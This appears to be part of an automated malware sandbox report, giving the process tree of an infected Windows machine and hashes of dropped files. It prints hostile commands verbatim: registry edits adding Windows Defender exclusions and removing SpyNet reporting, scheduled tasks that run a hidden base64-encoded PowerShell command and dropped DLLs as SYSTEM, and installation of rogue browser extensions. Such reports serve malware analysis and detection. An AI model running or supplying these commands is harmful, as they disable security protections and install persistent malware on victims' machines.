                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\yvWovCiVU" /t REG_DWORD /d 0 /reg:32
                                                                                                        3⤵
                                                                                                          PID:2192
                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\yvWovCiVU" /t REG_DWORD /d 0 /reg:64
                                                                                                          3⤵
                                                                                                            PID:1272
                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\WkkDuRgYrrqHXcVB /t REG_DWORD /d 0 /reg:32
                                                                                                            3⤵
                                                                                                              PID:4296
                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\WkkDuRgYrrqHXcVB /t REG_DWORD /d 0 /reg:64
                                                                                                              3⤵
                                                                                                                PID:3996
                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                                                                3⤵
                                                                                                                  PID:2092
                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                                                  3⤵
                                                                                                                    PID:1440
                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                                                                    3⤵
                                                                                                                      PID:1108
                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                                                      3⤵
                                                                                                                        PID:2060
                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\ElyBxStRAaEXFVuko /t REG_DWORD /d 0 /reg:32
                                                                                                                        3⤵
                                                                                                                          PID:836
                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\ElyBxStRAaEXFVuko /t REG_DWORD /d 0 /reg:64
                                                                                                                          3⤵
                                                                                                                            PID:1600
                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\IzRZTwSZebgYVSAl /t REG_DWORD /d 0 /reg:32
                                                                                                                            3⤵
                                                                                                                              PID:4856
                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\IzRZTwSZebgYVSAl /t REG_DWORD /d 0 /reg:64
                                                                                                                              3⤵
                                                                                                                                PID:3636
                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                              schtasks /CREATE /TN "gGMVoKFRE" /SC once /ST 12:02:04 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                                                                                                                              2⤵
                                                                                                                              • Creates scheduled task(s)
                                                                                                                              PID:4740
                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                              schtasks /run /I /tn "gGMVoKFRE"
                                                                                                                              2⤵
                                                                                                                                PID:4924
                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                schtasks /DELETE /F /TN "gGMVoKFRE"
                                                                                                                                2⤵
                                                                                                                                  PID:4516
                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                  schtasks /CREATE /TN "mRaseIvrfxDtBOYKW" /SC once /ST 13:34:48 /RU "SYSTEM" /TR "\"C:\Windows\Temp\IzRZTwSZebgYVSAl\FQzNUECRlEXpKQi\rRghHze.exe\" Ty /ggsite_idkiA 385118 /S" /V1 /F
                                                                                                                                  2⤵
                                                                                                                                  • Drops file in Windows directory
                                                                                                                                  • Creates scheduled task(s)
                                                                                                                                  PID:468
                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                  schtasks /run /I /tn "mRaseIvrfxDtBOYKW"
                                                                                                                                  2⤵
                                                                                                                                    PID:4956
                                                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                                                                                                                  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                                                                                                                                  1⤵
                                                                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                                  PID:3196
                                                                                                                                  • C:\Windows\system32\gpupdate.exe
                                                                                                                                    "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                                    2⤵
                                                                                                                                      PID:836
                                                                                                                                  • C:\Windows\system32\svchost.exe
                                                                                                                                    C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
                                                                                                                                    1⤵
                                                                                                                                      PID:540
                                                                                                                                    • C:\Windows\system32\gpscript.exe
                                                                                                                                      gpscript.exe /RefreshSystemParam
                                                                                                                                      1⤵
                                                                                                                                        PID:1576
                                                                                                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=3720 --field-trial-handle=2256,i,5035714022000286426,16259316383734940314,262144 --variations-seed-version /prefetch:8
                                                                                                                                        1⤵
                                                                                                                                          PID:856
                                                                                                                                        • C:\Windows\Temp\IzRZTwSZebgYVSAl\FQzNUECRlEXpKQi\rRghHze.exe
                                                                                                                                          C:\Windows\Temp\IzRZTwSZebgYVSAl\FQzNUECRlEXpKQi\rRghHze.exe Ty /ggsite_idkiA 385118 /S
                                                                                                                                          1⤵
                                                                                                                                          • Checks computer location settings
                                                                                                                                          • Executes dropped EXE
                                                                                                                                          • Drops Chrome extension
                                                                                                                                          • Drops desktop.ini file(s)
                                                                                                                                          • Drops file in System32 directory
                                                                                                                                          • Drops file in Program Files directory
                                                                                                                                          • Modifies data under HKEY_USERS
                                                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                                                          PID:1116
                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                            schtasks /DELETE /F /TN "bdnnguwcOLBYKAjbbA"
                                                                                                                                            2⤵
                                                                                                                                              PID:5068
                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                              cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
                                                                                                                                              2⤵
                                                                                                                                                PID:2748
                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                  REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
                                                                                                                                                  3⤵
                                                                                                                                                    PID:1600
                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                  cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
                                                                                                                                                  2⤵
                                                                                                                                                    PID:2872
                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                      REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
                                                                                                                                                      3⤵
                                                                                                                                                        PID:4228
                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                      schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\yvWovCiVU\ayfaBH.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "eGwAoTnpAObQfPU" /V1 /F
                                                                                                                                                      2⤵
                                                                                                                                                      • Drops file in Windows directory
                                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                                      PID:3856
                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                      schtasks /CREATE /TN "eGwAoTnpAObQfPU2" /F /xml "C:\Program Files (x86)\yvWovCiVU\ZELicGD.xml" /RU "SYSTEM"
                                                                                                                                                      2⤵
                                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                                      PID:1992
                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                      schtasks /END /TN "eGwAoTnpAObQfPU"
                                                                                                                                                      2⤵
                                                                                                                                                        PID:2184
                                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                        schtasks /DELETE /F /TN "eGwAoTnpAObQfPU"
                                                                                                                                                        2⤵
                                                                                                                                                          PID:4536
                                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                          schtasks /CREATE /TN "ALvbXdfFiQJKEp" /F /xml "C:\Program Files (x86)\LCifMpYymZWU2\IRpOmuY.xml" /RU "SYSTEM"
                                                                                                                                                          2⤵
                                                                                                                                                          • Creates scheduled task(s)
                                                                                                                                                          PID:4936
                                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                          schtasks /CREATE /TN "BIiSjOILpRnDn2" /F /xml "C:\ProgramData\WkkDuRgYrrqHXcVB\jUxxJdo.xml" /RU "SYSTEM"
                                                                                                                                                          2⤵
                                                                                                                                                          • Creates scheduled task(s)
                                                                                                                                                          PID:4740
                                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                          schtasks /CREATE /TN "uCAhUOuaRBfXDMltv2" /F /xml "C:\Program Files (x86)\yucluTmaHGGxjmhxbXR\sRgMEra.xml" /RU "SYSTEM"
                                                                                                                                                          2⤵
                                                                                                                                                          • Creates scheduled task(s)
                                                                                                                                                          PID:4904
                                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                          schtasks /CREATE /TN "cLzKLCJHWfKFSkdKasF2" /F /xml "C:\Program Files (x86)\mVqQIGUXDOgrC\xiHeERx.xml" /RU "SYSTEM"
                                                                                                                                                          2⤵
                                                                                                                                                          • Creates scheduled task(s)
                                                                                                                                                          PID:448
                                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                          schtasks /CREATE /TN "FTXCzbcEvROqagNdd" /SC once /ST 13:22:16 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\IzRZTwSZebgYVSAl\qkMTvkFk\xxHbqpl.dll\",#1 /Mssite_idOWD 385118" /V1 /F
                                                                                                                                                          2⤵
                                                                                                                                                          • Drops file in Windows directory
                                                                                                                                                          • Creates scheduled task(s)
                                                                                                                                                          PID:628
                                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                          schtasks /run /I /tn "FTXCzbcEvROqagNdd"
                                                                                                                                                          2⤵
                                                                                                                                                            PID:4452
                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                            cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:32
                                                                                                                                                            2⤵
                                                                                                                                                              PID:4404
                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:32
                                                                                                                                                                3⤵
                                                                                                                                                                  PID:2992
                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:64
                                                                                                                                                                2⤵
                                                                                                                                                                  PID:1900
                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                    REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:64
                                                                                                                                                                    3⤵
                                                                                                                                                                      PID:4400
                                                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                    schtasks /DELETE /F /TN "mRaseIvrfxDtBOYKW"
                                                                                                                                                                    2⤵
                                                                                                                                                                      PID:468
                                                                                                                                                                  • C:\Windows\system32\rundll32.EXE
                                                                                                                                                                    C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\IzRZTwSZebgYVSAl\qkMTvkFk\xxHbqpl.dll",#1 /Mssite_idOWD 385118
                                                                                                                                                                    1⤵
                                                                                                                                                                      PID:988
                                                                                                                                                                      • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                        C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\IzRZTwSZebgYVSAl\qkMTvkFk\xxHbqpl.dll",#1 /Mssite_idOWD 385118
                                                                                                                                                                        2⤵
                                                                                                                                                                        • Blocklisted process makes network request
                                                                                                                                                                        • Checks BIOS information in registry
                                                                                                                                                                        • Loads dropped DLL
                                                                                                                                                                        • Enumerates system info in registry
                                                                                                                                                                        • Modifies data under HKEY_USERS
                                                                                                                                                                        PID:4304
                                                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                          schtasks /DELETE /F /TN "FTXCzbcEvROqagNdd"
                                                                                                                                                                          3⤵
                                                                                                                                                                            PID:1320

                                                                                                                                                                      Network

                                                                                                                                                                      MITRE ATT&CK Enterprise v15

                                                                                                                                                                      Replay Monitor

                                                                                                                                                                      Loading Replay Monitor...

                                                                                                                                                                      Downloads

                                                                                                                                                                      • C:\Program Files (x86)\LCifMpYymZWU2\IRpOmuY.xml

                                                                                                                                                                        Filesize

                                                                                                                                                                        2KB

                                                                                                                                                                        MD5

                                                                                                                                                                        f27721d7ffc87054d10e6fba1973855d

                                                                                                                                                                        SHA1

                                                                                                                                                                        f83c716df031a03a4b66ce80676d152ea18c23a2

                                                                                                                                                                        SHA256

                                                                                                                                                                        e5fd34155057595c206bd2a9b92fd9bdf8e6cc69bb71da176c04695ed32f22c9

                                                                                                                                                                        SHA512

                                                                                                                                                                        e0a21652ebbd2fee466e16ffec906590462daa8864783188e2e9069fd006d921487e0349689e07a4a95c7b74cb38f1ee326d54a9a6c862547d33e46bb2cdb409

                                                                                                                                                                      • C:\Program Files (x86)\mVqQIGUXDOgrC\xiHeERx.xml

                                                                                                                                                                        Filesize

                                                                                                                                                                        2KB

                                                                                                                                                                        MD5

                                                                                                                                                                        7db8d52fa1dbf67dc3831176774161f8

                                                                                                                                                                        SHA1

                                                                                                                                                                        8b4fa9f0f86fab2ffcb2a275bd661711e53e0c5a

                                                                                                                                                                        SHA256

                                                                                                                                                                        d269643c62951a8a35c726c7b8ae2be7510f2cae44afb040bb5580c8b1d4ee22

                                                                                                                                                                        SHA512

                                                                                                                                                                        7b202cffee0517eec1562eb70c3da5b52f325892978909aea72483b1a319897c201d40e0d21e21cce7618cfbe2698cbf936e1e41d8c7679b756113574159fc10

                                                                                                                                                                      • C:\Program Files (x86)\yucluTmaHGGxjmhxbXR\sRgMEra.xml

                                                                                                                                                                        Filesize

                                                                                                                                                                        2KB

                                                                                                                                                                        MD5

                                                                                                                                                                        c05b9533e8bbb2b5baa49c41d5fbce8d

                                                                                                                                                                        SHA1

                                                                                                                                                                        94ed09f5cb1e5e918eb3083bfe69c2ef1c6c97a9

                                                                                                                                                                        SHA256

                                                                                                                                                                        507411cbe4efa23988fb14dc45ff7f9b1a7f638560fc0f3d3d52552e8a379a80

                                                                                                                                                                        SHA512

                                                                                                                                                                        ea4821d58b17298c90aacbdeca5c0cb1118212a54efd322d57f121e2839a38f69c6e6878fc7b0ae4f59604bdbd6d361a66a10bf4644320c5668240a626449bd6

                                                                                                                                                                      • C:\Program Files (x86)\yvWovCiVU\ZELicGD.xml

                                                                                                                                                                        Filesize

                                                                                                                                                                        2KB

                                                                                                                                                                        MD5

                                                                                                                                                                        e40609e8715b5fd158b28ee61feb79ee

                                                                                                                                                                        SHA1

                                                                                                                                                                        22b8c47008649f3aaba7487b8fcbe651d0007411

                                                                                                                                                                        SHA256

                                                                                                                                                                        e3ca102746cb9baa0a300d7ee2b409919890c3d14a316180992161b2dd8b2ab3

                                                                                                                                                                        SHA512

                                                                                                                                                                        4c75edaf385f78881aff9de785957c6ec28e04b08782601fc899e8f0a23c7e2a53956d28a1db65f01e9bb42043c30e3f80997da12a3beebdb3db3fe5c3fa7b2e

                                                                                                                                                                      • C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi

                                                                                                                                                                        Filesize

                                                                                                                                                                        2.0MB

                                                                                                                                                                        MD5

                                                                                                                                                                        24a6e2b7e9eba3e913ab32c27cac2236

                                                                                                                                                                        SHA1

                                                                                                                                                                        2d2047856543edc753029dcbc1936cbec0f4a657

                                                                                                                                                                        SHA256

                                                                                                                                                                        d93dabdc36ea877aa7b87b6662468bfb06bf7090d482b36a710bfcddd5ea4930

                                                                                                                                                                        SHA512

                                                                                                                                                                        82e55bcb3af89181afc7f16ecf0966246a32d24a35bf7d56d82aeb8e4f7584cef6bc2aa1acd97e4aca2bcd515e1db2874d98782d334983d63f0b9d214d7112f3

                                                                                                                                                                      • C:\ProgramData\WkkDuRgYrrqHXcVB\jUxxJdo.xml

                                                                                                                                                                        Filesize

                                                                                                                                                                        2KB

                                                                                                                                                                        MD5

                                                                                                                                                                        314eebbff1887338b908f022cabf6a97

                                                                                                                                                                        SHA1

                                                                                                                                                                        8d8f01c431b80e57d0d60bbe9bf2e18955fc6a32

                                                                                                                                                                        SHA256

                                                                                                                                                                        09a4002bd0399c9e93058d6bd1370462f2a30155a6051b0bfe71a2fda650a668

                                                                                                                                                                        SHA512

                                                                                                                                                                        bcd6f638d0d234dd34f9f6c44b90ddd13a31b05a33b4064f7d81a69b16646479aa794844940094cf18534c222030787dbf52d6b812d92079d1e34d80ea3546f4

                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\en_GB\messages.json

                                                                                                                                                                        Filesize

                                                                                                                                                                        187B

                                                                                                                                                                        MD5

                                                                                                                                                                        2a1e12a4811892d95962998e184399d8

                                                                                                                                                                        SHA1

                                                                                                                                                                        55b0ae8a7b5a5d6094827ede8e6a1d26d4b4a720

                                                                                                                                                                        SHA256

                                                                                                                                                                        32b4406692c26b540fea815a9bb56df1f164140cd849e8025930b7425036cceb

                                                                                                                                                                        SHA512

                                                                                                                                                                        bb54d5e8684a6bfeac559b7c7a7551eed6a8a43a4c6464218cb0adb1c89fea124b69760690c3124af86fa68ac3fdbe903eaa098f0af2b6a58f4702c803abc089

                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\fa\messages.json

                                                                                                                                                                        Filesize

                                                                                                                                                                        136B

                                                                                                                                                                        MD5

                                                                                                                                                                        238d2612f510ea51d0d3eaa09e7136b1

                                                                                                                                                                        SHA1

                                                                                                                                                                        0953540c6c2fd928dd03b38c43f6e8541e1a0328

                                                                                                                                                                        SHA256

                                                                                                                                                                        801162df89a8ad2b1a51de75e86eba3958b12960660960a5ffafe9bc55bc293e

                                                                                                                                                                        SHA512

                                                                                                                                                                        2630dd7a3c17dc963b1a71d81295cf22f8b3838748b55c433318e1e22f5b143a6d374ca2e5a8420659fa130200fbaa4814d0f093b1eca244b5635a3b99878e1c

                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\pt_BR\messages.json

                                                                                                                                                                        Filesize

                                                                                                                                                                        150B

                                                                                                                                                                        MD5

                                                                                                                                                                        0b1cf3deab325f8987f2ee31c6afc8ea

                                                                                                                                                                        SHA1

                                                                                                                                                                        6a51537cef82143d3d768759b21598542d683904

                                                                                                                                                                        SHA256

                                                                                                                                                                        0ec437af3f59fef30355cf803966a2b9a0cd9323d390297496f750775995a6bf

                                                                                                                                                                        SHA512

                                                                                                                                                                        5bc1f5a2d38f4a071513e2ac25b241c8e5584bed8d77e7fc4194855898d51a328dd73200f5aae6c9bc1b2a304e40e56bc686192074bd8a1bcc98f4971dee428f

                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

                                                                                                                                                                        Filesize

                                                                                                                                                                        10KB

                                                                                                                                                                        MD5

                                                                                                                                                                        e7ce894a29d3f396619608d1ffb688c6

                                                                                                                                                                        SHA1

                                                                                                                                                                        d8dcda6d192ce24536d3e1b7331b50510b57a101

                                                                                                                                                                        SHA256

                                                                                                                                                                        78fb63c57c90c00900e897e37e236ca01ab74b3f12dc69a77c8246416040b8c2

                                                                                                                                                                        SHA512

                                                                                                                                                                        017f2f1ad9d3df50e2b949205eae89ae8b0aebc4927a124da319a1380a72403444019a0128ab008b5727dfab8a6b872379b681a845317c84fa05e36600637f63

                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences

                                                                                                                                                                        Filesize

                                                                                                                                                                        34KB

                                                                                                                                                                        MD5

                                                                                                                                                                        e1360b8f6f517c6a67f1d63df36da16c

                                                                                                                                                                        SHA1

                                                                                                                                                                        e094f8685621f29b2e4a2c8eeca9419d36f33314

                                                                                                                                                                        SHA256

                                                                                                                                                                        6ce2202c6d93a96ab1eacd25ee98fe6282a89077553e6ccc85e976c7b6a3c488

                                                                                                                                                                        SHA512

                                                                                                                                                                        9513a7587249f76156626d77058511a529535ba81c50245b2b756641e1df59db6f4f93f874791ca0abfb5edaa04432aa6fa52ecd27921be6906f3c89f50e1704

                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log

                                                                                                                                                                        Filesize

                                                                                                                                                                        2KB

                                                                                                                                                                        MD5

                                                                                                                                                                        6cf293cb4d80be23433eecf74ddb5503

                                                                                                                                                                        SHA1

                                                                                                                                                                        24fe4752df102c2ef492954d6b046cb5512ad408

                                                                                                                                                                        SHA256

                                                                                                                                                                        b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8

                                                                                                                                                                        SHA512

                                                                                                                                                                        0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00

                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\geiolieogaichbpfhcannipendgnnbkn\1.0.1_0\_locales\es\messages.json

                                                                                                                                                                        Filesize

                                                                                                                                                                        151B

                                                                                                                                                                        MD5

                                                                                                                                                                        bd6b60b18aee6aaeb83b35c68fb48d88

                                                                                                                                                                        SHA1

                                                                                                                                                                        9b977a5fbf606d1104894e025e51ac28b56137c3

                                                                                                                                                                        SHA256

                                                                                                                                                                        b7b119625387857b257dd3f4b20238cdbe6c25808a427f0110bcb0bf86729e55

                                                                                                                                                                        SHA512

                                                                                                                                                                        3500b42b17142cd222bc4aa55bf32d719dbd5715ff8d0924f1d75aec4bc6aa8e9ca8435f0b831c73a65cc1593552b9037489294fbf677ba4e1cec1173853e45b

                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                                                                                                                                                                        Filesize

                                                                                                                                                                        15KB

                                                                                                                                                                        MD5

                                                                                                                                                                        328e07ec5123b7153673300cd000d366

                                                                                                                                                                        SHA1

                                                                                                                                                                        8223f98405fae3416f042c96f504771b3f9f68bc

                                                                                                                                                                        SHA256

                                                                                                                                                                        7ccd2319661fb5a6ee0bd2f26d66d2f45f48e2b3d8c9484e05219409500f0cd0

                                                                                                                                                                        SHA512

                                                                                                                                                                        6f5cf9cf7a5234c08b88c3fa92e8da069f6a7203d063bd6c69ae9bc01c2486fb6e7962f4463cf982a9898683c5191710e54806a8c06d36cba352e3e7a2fb0349

                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                                                        Filesize

                                                                                                                                                                        64B

                                                                                                                                                                        MD5

                                                                                                                                                                        50a8221b93fbd2628ac460dd408a9fc1

                                                                                                                                                                        SHA1

                                                                                                                                                                        7e99fe16a9b14079b6f0316c37cc473e1f83a7e6

                                                                                                                                                                        SHA256

                                                                                                                                                                        46e488628e5348c9c4dfcdeed5a91747eae3b3aa49ae1b94d37173b6609efa0e

                                                                                                                                                                        SHA512

                                                                                                                                                                        27dda53e7edcc1a12c61234e850fe73bf3923f5c3c19826b67f2faf9e0a14ba6658001a9d6a56a7036409feb9238dd452406e88e318919127b4a06c64dba86f0

                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zS7C35.tmp\Install.exe

                                                                                                                                                                        Filesize

                                                                                                                                                                        6.4MB

                                                                                                                                                                        MD5

                                                                                                                                                                        84f20554f695f67c1d5c96869bb4735e

                                                                                                                                                                        SHA1

                                                                                                                                                                        ee05c8e95d03eafa251c6339c417f18c2b33a9e8

                                                                                                                                                                        SHA256

                                                                                                                                                                        db1ea30aaaac72105ded062caa007ef7bddf89edac721423fa8f1c965190dc44

                                                                                                                                                                        SHA512

                                                                                                                                                                        c71bdb501ffc3d0c6d495c89a930339000633db684e14b46d0866dd70ba2a2cb7699d66169b5919da6b6755fd21608e54e294619f45c73b43a3a6772a16d8232

                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zS7FCF.tmp\Install.exe

                                                                                                                                                                        Filesize

                                                                                                                                                                        6.7MB

                                                                                                                                                                        MD5

                                                                                                                                                                        b119ea556def66eaa9f751a650b45af0

                                                                                                                                                                        SHA1

                                                                                                                                                                        daf3fa0325b110183d0a233b4b0d1875f0b49ca8

                                                                                                                                                                        SHA256

                                                                                                                                                                        53c38771ea9986f418a48d89e4df5e82c84f1e71a4c242fc6e6ae3ba934cf6d4

                                                                                                                                                                        SHA512

                                                                                                                                                                        08dd919ce39af698051b4f156faa8d155c41cc0de3412ef152dc6e90cbdd5cb50109f57c47555925fd6d18816411b1c510ac642b9576f5f28540be8695ed46c4

                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_n1udskn2.tj2.ps1

                                                                                                                                                                        Filesize

                                                                                                                                                                        60B

                                                                                                                                                                        MD5

                                                                                                                                                                        d17fe0a3f47be24a6453e9ef58c94641

                                                                                                                                                                        SHA1

                                                                                                                                                                        6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                                                                                                                                                        SHA256

                                                                                                                                                                        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                                                                                                                                                        SHA512

                                                                                                                                                                        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                                                                                                                                                      • C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\s7sufels.default-release\prefs.js

                                                                                                                                                                        Filesize

                                                                                                                                                                        6KB

                                                                                                                                                                        MD5

                                                                                                                                                                        7023c456c3177bbec0fe0d0d5819fb53

                                                                                                                                                                        SHA1

                                                                                                                                                                        ec2b0d79ec96fa730e6041b545b09b5157eae7b4

                                                                                                                                                                        SHA256

                                                                                                                                                                        417a0d5edb3efdac6c8234dfae9919bc54098395818028adb1ca386910f4e808

                                                                                                                                                                        SHA512

                                                                                                                                                                        8c522f61989d5e31a4d15cf2cc68c2e4d6e32ea11d5b6443bd8fbc0b13dd494e911550b11ab6f6195f7a44b94a58642f3c58f7501a8325e0cdb44283cc8671c2

